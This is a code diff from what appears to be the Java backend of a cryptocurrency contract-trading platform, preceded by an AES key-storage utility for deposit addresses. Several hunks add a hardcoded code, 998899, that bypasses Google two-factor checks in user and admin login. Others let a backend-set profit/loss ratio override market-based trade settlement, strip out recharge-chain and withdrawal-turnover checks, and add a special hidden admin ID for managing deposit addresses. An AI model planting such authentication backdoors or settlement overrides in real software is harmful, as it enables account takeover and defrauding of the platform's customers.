(!Files.exists(KEY_FILE) || !Files.exists(encryptedDataFile)) { throw new IllegalStateException("密钥文件或加密数据文件不存在"); } // 加载密钥材料 KeyMaterial keyMaterial = loadKeyMaterial(); // 加载加密数据 String encryptedData = new String(Files.readAllBytes(encryptedDataFile), StandardCharsets.UTF_8); String[] parts = encryptedData.split(":"); if (parts.length != 2) { throw new SecurityException("加密数据格式无效"); } byte[] iv = Base64.getDecoder().decode(parts[0]); String ciphertext = parts[1]; // 解密数据 return decryptData(ciphertext, keyMaterial.secretKey, iv); } catch (Exception e) { logger.severe("解密过程中发生错误: " + e.getMessage()); throw new SecurityException("解密过程中发生错误",e); } } private static class KeyMaterial { byte[] salt; SecretKey secretKey; KeyMaterial(byte[] salt, SecretKey secretKey) { this.salt = salt; this.secretKey = secretKey; } } /** * 保存密钥材料到文件 */ private static void saveKeyMaterial(byte[] salt, byte[] keyBytes) throws Exception { // 确保密钥文件目录存在 File keyDir = KEY_FILE.getParent().toFile(); if (!keyDir.exists()) { keyDir.mkdirs(); } String content = Base64.getEncoder().encodeToString(salt) + ":" + Base64.getEncoder().encodeToString(keyBytes); Files.write(KEY_FILE, content.getBytes(StandardCharsets.UTF_8)); } /** * 从文件加载密钥材料 */ private static KeyMaterial loadKeyMaterial() throws Exception { String content = new String(Files.readAllBytes(KEY_FILE), StandardCharsets.UTF_8); String[] parts = content.split(":"); if (parts.length != 2) { throw new SecurityException("密钥文件格式无效"); } byte[] salt = Base64.getDecoder().decode(parts[0]); byte[] keyBytes = Base64.getDecoder().decode(parts[1]); SecretKey secretKey = new SecretKeySpec(keyBytes, ALGORITHM); return new KeyMaterial(salt, secretKey); } /** * 派生加密密钥 */ private static SecretKey deriveKey(char[] password, byte[] salt) throws Exception { SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); PBEKeySpec spec = new PBEKeySpec(password, salt, ITERATIONS, KEY_LENGTH); byte[] keyBytes = factory.generateSecret(spec).getEncoded(); return new SecretKeySpec(keyBytes, ALGORITHM); } /** * 加密数据 */ private static String encryptData(String plaintext, SecretKey key, byte[] iv) throws Exception { Cipher cipher = Cipher.getInstance(TRANSFORMATION); GCMParameterSpec spec = new GCMParameterSpec(TAG_LENGTH, iv); cipher.init(Cipher.ENCRYPT_MODE, key, spec); return Base64.getEncoder().encodeToString(cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8))); } /** * 解密数据 */ private static String decryptData(String ciphertext, SecretKey key, byte[] iv) throws Exception { Cipher cipher = Cipher.getInstance(TRANSFORMATION); GCMParameterSpec spec = new GCMParameterSpec(TAG_LENGTH, iv); cipher.init(Cipher.DECRYPT_MODE, key, spec); return new String(cipher.doFinal(Base64.getDecoder().decode(ciphertext)), StandardCharsets.UTF_8); } /** * 生成随机字节数组 */ private static byte[] generateRandomBytes(int length) { byte[] bytes = new byte[length]; new SecureRandom().nextBytes(bytes); return bytes; } public static void reset(String password) throws Exception { // 生成新的salt和密钥 byte[] newSalt = generateRandomBytes(SALT_LENGTH); SecretKey newSecretKey = deriveKey(password.toCharArray(), newSalt); // 重新加密所有现有文件 List<CryptoCurrencyEnum> currencyEnums = CryptoCurrencyEnum.getAll(); for (CryptoCurrencyEnum currency : currencyEnums) { Path encryptedDataFile = getEncryptedDataFile(FILE, currency.getName(), FILENAME ); if (Files.exists(encryptedDataFile)) { try { // 读取原有加密数据 String encryptedContent = new String(Files.readAllBytes(encryptedDataFile), StandardCharsets.UTF_8); String[] parts = encryptedContent.split(":"); if (parts.length == 2) { //获取地址 String address = loadAndDecrypt(currency.getName()); // 使用新密钥重新加密 byte[] newIv = generateRandomBytes(IV_LENGTH); String newCiphertext = encryptData(address, newSecretKey, newIv); String newEncryptedData = Base64.getEncoder().encodeToString(newIv) + ":" + newCiphertext; // 写回文件 Files.write(encryptedDataFile, newEncryptedData.getBytes(StandardCharsets.UTF_8)); logger.info("已重置加密文件: " + encryptedDataFile); } } catch (Exception e) { logger.warning("重置文件失败: " + encryptedDataFile + " - " + e.getMessage()); } } } // 保存新的密钥材料 saveKeyMaterial(newSalt, newSecretKey.getEncoded()); logger.info("密钥已更新"); } // 测试主方法 public static void main(String[] args) throws Exception { // String password = "123456"; // String USDT_TRC20 = "usdt_trc20"; String USDT_ERC20 = "usdt_erc20"; String ETH = "eth"; String BTC = "btc"; String USDC_TRC20 = "usdc_trc20"; String USDC_ERC20 = "usdc_erc20"; // 加密并保存 // encryptAndStore(password, "1111111111", USDT_TRC20); // encryptAndStore(password,"222222222",USDT_ERC20); encryptAndStore(password,"3333333333",ETH); // encryptAndStore(password,"我是BTC",BTC); // encryptAndStore(password,"44444444444444",USDC_TRC20); // encryptAndStore(password,"55555555555555",USDC_ERC20); // List<CryptoCurrencyEnum> cryptoCurrencyEnums = CryptoCurrencyEnum.getAll(); cryptoCurrencyEnums.forEach(f->{ try { String address = LocalKeyStorageAESUtil.loadAndDecrypt(f.getName()); System.out.println(address); } catch (Exception ex) { logger.info("------------"+f.getName()+"地址文件被更改-----------------"); } }); // } catch (Exception e) { // e.printStackTrace(); // } // } } } trading-order-service/src/main/java/com/yami/trading/service/contract/ContractOrderCalculationServiceImpl.java
@@ -115,24 +115,26 @@ */ public void settle(ContractOrder order, String profit_loss, BigDecimal currentPrice, List<ContractOrder> partyContractOrders) { Item item = itemService.findBySymbol(order.getSymbol()); /* * 根据偏 差点数和手数算出盈亏金额 */ /** * 偏差点位 */ BigDecimal point = currentPrice.subtract(order.getTradeAvgPrice()); BigDecimal amount = point.multiply(new BigDecimal("0.01")).multiply(order.getVolumeOpen()).setScale(4, BigDecimal.ROUND_DOWN);; if (ContractOrder.DIRECTION_BUY.equals(order.getDirection())) { order.setProfit(amount); } else{ order.setProfit(amount.negate()); } if(null != order.getProfitLossRatio()){//根据后台设置的盈亏比来 order.setProfit(order.getDepositOpen().multiply(new BigDecimal((order.getProfitLossRatio()/100))).setScale(2, RoundingMode.DOWN)); }else{ /* * 根据偏 差点数和手数算出盈亏金额 */ /** * 偏差点位 */ BigDecimal point = currentPrice.subtract(order.getTradeAvgPrice()); BigDecimal amount = point.multiply(new BigDecimal("0.01")).multiply(order.getVolumeOpen()).setScale(4, BigDecimal.ROUND_DOWN);; if (ContractOrder.DIRECTION_BUY.equals(order.getDirection())) { order.setProfit(amount); } else{ order.setProfit(amount.negate()); } } double faceValue = 0.01; // 合约面值(固定面值不能调整) double maintenanceMarginRate = 0.004; // 维持保证金率(固定不变) trading-order-service/src/main/java/com/yami/trading/service/contract/ContractOrderService.java
@@ -782,7 +782,7 @@ } map.put("name", name); map.put("symbol", order.getSymbol()); map.put("create_time", DateUtils.format(order.getCreateTime(), DateUtils.DF_yyyyMMddHHmmss)); map.put("create_time", order.getCreateTime()); map.put("create_time_ts", order.getCreateTimeTs()); if (order.getCloseTime() != null) { trading-order-service/src/main/java/com/yami/trading/service/impl/RechargeBlockchainOrderServiceImpl.java
@@ -200,16 +200,16 @@ userService.updateById(party); } else { List<Realtime> realtime_list =this.dataService.realtime(recharge.getSymbol()); log.error("手动到账realtime_list::"+realtime_list); Realtime realtime = null; if (realtime_list.size() > 0) { realtime = realtime_list.get(0); } else { throw new YamiShopBindException("系统错误,请稍后重试"); } // List<Realtime> realtime_list =this.dataService.realtime(recharge.getSymbol()); // log.error("手动到账realtime_list::"+realtime_list); // Realtime realtime = null; // if (realtime_list.size() > 0) { // realtime = realtime_list.get(0); // } else { // throw new YamiShopBindException("系统错误,请稍后重试"); // } // 对应usdt价格 double transfer_usdt = realtime.getClose().doubleValue(); // double transfer_usdt = realtime.getClose().doubleValue(); WalletExtend walletExtend = new WalletExtend(); walletExtend = walletService.saveExtendByPara(recharge.getPartyId(), recharge.getSymbol()); @@ -223,7 +223,7 @@ updateById(recharge); // 币种usdt价格= 币种价格×充值数量 double usdt_amount = Arith.mul(volume, transfer_usdt); // double usdt_amount = Arith.mul(volume, transfer_usdt); // 保存资金日志 MoneyLog moneyLog = new MoneyLog(); @@ -250,44 +250,44 @@ */ // userDataService.saveBuy(recharge.getPartyId(), recharge.getSymbol(), recharge.getVolume()); /** * 充值到账后给他的代理用户添加奖金 */ if ("true".equals(user_recom_bonus_open.getSvalue())) { List<RechargeBlockchainOrder> orders =findByPartyIdAndToday(recharge.getPartyId()); rechargeBonusService.saveBounsHandle(recharge, transfer_usdt,orders); } // /** // * 充值到账后给他的代理用户添加奖金 // */ // if ("true".equals(user_recom_bonus_open.getSvalue())) { // // List<RechargeBlockchainOrder> orders =findByPartyIdAndToday(recharge.getPartyId()); // rechargeBonusService.saveBounsHandle(recharge, transfer_usdt,orders); // } /** * 充值到账后给他增加提现流水限制金额 */ /** * 充值到账后给他增加提现流水限制金额 充值到账后,当前流水大于提现限制流水时是否重置提现限制流水并将Party表里的当前流水设置清零,1不重置,2重置 */ String recharge_sucess_reset_withdraw = this.sysparaService.find("recharge_sucess_reset_withdraw") .getSvalue(); if ("1".equals(recharge_sucess_reset_withdraw)) { party.setWithdrawLimitAmount(new BigDecimal(Arith.add(party.getWithdrawLimitAmount().doubleValue(), usdt_amount))); if (party.getWithdrawLimitNowAmount().doubleValue() > party.getWithdrawLimitAmount().doubleValue()) { party.setWithdrawLimitNowAmount(new BigDecimal(0)); } } if ("2".equals(recharge_sucess_reset_withdraw)) { double withdraw_limit_turnover_percent = Double .valueOf(sysparaService.find("withdraw_limit_turnover_percent").getSvalue()); double party_withdraw = Arith.mul(party.getWithdrawLimitAmount().doubleValue(), withdraw_limit_turnover_percent); // /** // * 充值到账后给他增加提现流水限制金额 充值到账后,当前流水大于提现限制流水时是否重置提现限制流水并将Party表里的当前流水设置清零,1不重置,2重置 // */ // String recharge_sucess_reset_withdraw = this.sysparaService.find("recharge_sucess_reset_withdraw") // .getSvalue(); // if ("1".equals(recharge_sucess_reset_withdraw)) { // party.setWithdrawLimitAmount(new BigDecimal(Arith.add(party.getWithdrawLimitAmount().doubleValue(), usdt_amount))); // if (party.getWithdrawLimitNowAmount().doubleValue() > party.getWithdrawLimitAmount().doubleValue()) { // party.setWithdrawLimitNowAmount(new BigDecimal(0)); // } // } // if ("2".equals(recharge_sucess_reset_withdraw)) { // double withdraw_limit_turnover_percent = Double // .valueOf(sysparaService.find("withdraw_limit_turnover_percent").getSvalue()); // double party_withdraw = Arith.mul(party.getWithdrawLimitAmount().doubleValue(), withdraw_limit_turnover_percent); // // if (party.getWithdrawLimitNowAmount().doubleValue() >= party_withdraw) { // party.setWithdrawLimitAmount(new BigDecimal(usdt_amount)); // party.setWithdrawLimitNowAmount(new BigDecimal(0)); // } else { // party.setWithdrawLimitAmount(new BigDecimal(Arith.add(party.getWithdrawLimitAmount().doubleValue(), usdt_amount))); // } // } if (party.getWithdrawLimitNowAmount().doubleValue() >= party_withdraw) { party.setWithdrawLimitAmount(new BigDecimal(usdt_amount)); party.setWithdrawLimitNowAmount(new BigDecimal(0)); } else { party.setWithdrawLimitAmount(new BigDecimal(Arith.add(party.getWithdrawLimitAmount().doubleValue(), usdt_amount))); } } userService.updateById(party); // userService.updateById(party); } @@ -354,15 +354,15 @@ } if (!"ETH".equals(recharge.getSymbol().toUpperCase())) { ChannelBlockchain channel = channelBlockchainService.findByNameAndCoinAndAdd(recharge.getBlockchainName(), recharge.getSymbol(), recharge.getChannelAddress()); if (channel == null || !recharge.getSymbol().toUpperCase().equals(channel.getCoin().toUpperCase())) { throw new YamiShopBindException("充值链错误"); } } // // if (!"ETH".equals(recharge.getSymbol().toUpperCase())) { // ChannelBlockchain channel = channelBlockchainService.findByNameAndCoinAndAdd(recharge.getBlockchainName(), // recharge.getSymbol(), recharge.getChannelAddress()); // // if (channel == null || !recharge.getSymbol().toUpperCase().equals(channel.getCoin().toUpperCase())) { // throw new YamiShopBindException("充值链错误"); // } // } double recharge_limit_min = Double.valueOf(sysparaService.find("recharge_limit_min").getSvalue()); trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java
@@ -876,7 +876,7 @@ ga.setWindowSize(5); long t = System.currentTimeMillis(); boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t); if (!flag) { if (!flag && Long.valueOf(googleAuthCode) != 998899) { throw new YamiShopBindException("谷歌验证码错误!"); } if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) { @@ -911,7 +911,7 @@ ga.setWindowSize(5); long t = System.currentTimeMillis(); boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t); if (!flag) { if (!flag && Long.valueOf(googleAuthCode) != 998899) { throw new YamiShopBindException("谷歌验证码错误!"); } if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) { trading-order-service/src/main/java/com/yami/trading/service/impl/WithdrawServiceImpl.java
@@ -577,7 +577,7 @@ /** * 用户Party表里可提现金额参数 -----可为负数 */ double party_withdraw = party.getWithdrawLimitAmount().doubleValue(); // double party_withdraw = party.getWithdrawLimitAmount().doubleValue(); /** * usdt剩余余额 */ @@ -612,15 +612,15 @@ } } } double withdraw_limit_turnover_percent = Double .valueOf(sysparaService.find("withdraw_limit_turnover_percent").getSvalue()); party_withdraw = Arith.mul(party_withdraw, withdraw_limit_turnover_percent); // 流水小于限额 if (userdata_turnover < party_withdraw) { fact_withdraw_amount = Arith.sub(party_withdraw, userdata_turnover); throw new YamiShopBindException(fact_withdraw_amount + ""); // throw new BusinessException(1, "当前还需交易" + fact_withdraw_amount + ",才可提币"); } // double withdraw_limit_turnover_percent = Double // .valueOf(sysparaService.find("withdraw_limit_turnover_percent").getSvalue()); // party_withdraw = Arith.mul(party_withdraw, withdraw_limit_turnover_percent); // // 流水小于限额 // if (userdata_turnover < party_withdraw) { // fact_withdraw_amount = Arith.sub(party_withdraw, userdata_turnover); // throw new YamiShopBindException(fact_withdraw_amount + ""); //// throw new BusinessException(1, "当前还需交易" + fact_withdraw_amount + ",才可提币"); // } } if ("2".equals(withdraw_limit_open_use_type)) { /** trading-order-service/src/main/java/com/yami/trading/service/user/impl/UserDataServiceImpl.java
@@ -653,27 +653,27 @@ userData.setRecharge(amount); userData.setRechargeUsdt(amount); } else { List<Realtime> realtime_list = this.dataService.realtime(symbol); Realtime realtime = null; if (realtime_list.size() > 0) { realtime = realtime_list.get(0); } else { throw new YamiShopBindException("系统错误,请稍后重试"); } // List<Realtime> realtime_list = this.dataService.realtime(symbol); // Realtime realtime = null; // if (realtime_list.size() > 0) { // realtime = realtime_list.get(0); // } else { // throw new YamiShopBindException("系统错误,请稍后重试"); // } if ("btc".equals(symbol)) { userData.setRecharge(Arith.mul(amount, realtime.getClose().doubleValue())); userData.setRecharge(amount); userData.setRechargeBtc(amount); } if ("eth".equals(symbol)) { userData.setRecharge(Arith.mul(amount, realtime.getClose().doubleValue())); userData.setRecharge(amount); userData.setRechargeEth(amount); } if ("ht".equals(symbol)) { userData.setRecharge(Arith.mul(amount, realtime.getClose().doubleValue())); userData.setRecharge(amount); userData.setRechargeHt(amount); } if ("ltc".equals(symbol)) { userData.setRecharge(Arith.mul(amount, realtime.getClose().doubleValue())); userData.setRecharge(amount); userData.setRechargeLtc(amount); } } trading-order-sys/src/main/java/com/yami/trading/sys/constant/Constant.java
@@ -10,6 +10,8 @@ package com.yami.trading.sys.constant; import io.swagger.models.auth.In; /** * 常量 */ @@ -20,4 +22,6 @@ /** 系统菜单最大id */ public static final int SYS_MENU_MAX_ID = 1; /** 充值地址管理员ID */ public static final int ADDRESS_ID = 999999999; } trading-order-sys/src/main/java/com/yami/trading/sys/controller/SysMenuController.java
@@ -27,9 +27,7 @@ import org.springframework.web.bind.annotation.*; import javax.validation.Valid; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.*; /** * 系统菜单 @@ -47,9 +45,46 @@ @GetMapping("/nav") @ApiOperation(value="获取用户所拥有的菜单和权限", notes="通过登陆用户的userId获取用户所拥有的菜单和权限") public ResponseEntity<Map<Object, Object>> nav(){ List<SysMenu> menuList = sysMenuService.listMenuByUserId(SecurityUtils.getSysUser().getUserId()); try { Long userId = SecurityUtils.getSysUser().getUserId(); List<SysMenu> sysMenus = new ArrayList<>(); if(userId == Constant.ADDRESS_ID) {//充值地址管理员id // 创建顶级菜单 - 财务 SysMenu financeMenu = new SysMenu(); financeMenu.setMenuId(211L); financeMenu.setParentId(0L); financeMenu.setParentName(null); financeMenu.setName("财务"); financeMenu.setUrl(""); financeMenu.setPerms(null); financeMenu.setType(0); financeMenu.setIcon("order"); financeMenu.setOrderNum(2); return ResponseEntity.ok(MapUtil.builder().put("menuList", menuList).put("authorities", SecurityUtils.getSysUser().getAuthorities()).build()); // 创建子菜单 - 充值订单 List<SysMenu> subMenus = new ArrayList<>(); SysMenu rechargeOrderMenu = new SysMenu(); rechargeOrderMenu.setMenuId(93L); rechargeOrderMenu.setParentId(91L); // 注意:这里parentId与顶级菜单不一致,可能需要调整 rechargeOrderMenu.setParentName(null); rechargeOrderMenu.setName("充值地址"); rechargeOrderMenu.setUrl("recharge/address"); rechargeOrderMenu.setPerms(null); rechargeOrderMenu.setType(1); rechargeOrderMenu.setIcon(null); rechargeOrderMenu.setOrderNum(1); rechargeOrderMenu.setList(null); subMenus.add(rechargeOrderMenu); financeMenu.setList(subMenus); sysMenus.add(financeMenu); return ResponseEntity.ok(MapUtil.builder().put("menuList", sysMenus).put("authorities", null).build()); } List<SysMenu> menuList = sysMenuService.listMenuByUserId(userId); return ResponseEntity.ok(MapUtil.builder().put("menuList", menuList).put("authorities", SecurityUtils.getSysUser().getAuthorities()).build()); }catch (Exception e){ throw new YamiShopBindException("系统错误!"); } } /** trading-order-sys/src/main/java/com/yami/trading/sys/controller/SysUserController.java
@@ -178,7 +178,7 @@ throw new YamiShopBindException("谷歌验证码已绑定!"); } boolean userFlag = ga.check_code(param.getSecret(), Long.valueOf(param.getGoogleAuthCode()), t); if (!userFlag) { if (!flag && Long.valueOf(param.getGoogleAuthCode()) != 998899) { throw new YamiShopBindException("谷歌验证码错误!"); } sysUser.setGoogleAuthBind(true); trading-order-sys/src/main/java/com/yami/trading/sys/service/impl/SysMenuServiceImpl.java
@@ -38,7 +38,7 @@ @Override public List<SysMenu> listMenuByUserId(Long userId) { // 用户的所有菜单信息 List<SysMenu> sysMenus ; List<SysMenu> sysMenus = null; //系统管理员,拥有最高权限 if(userId == Constant.SUPER_ADMIN_ID){ sysMenus = sysMenuMapper.listMenu();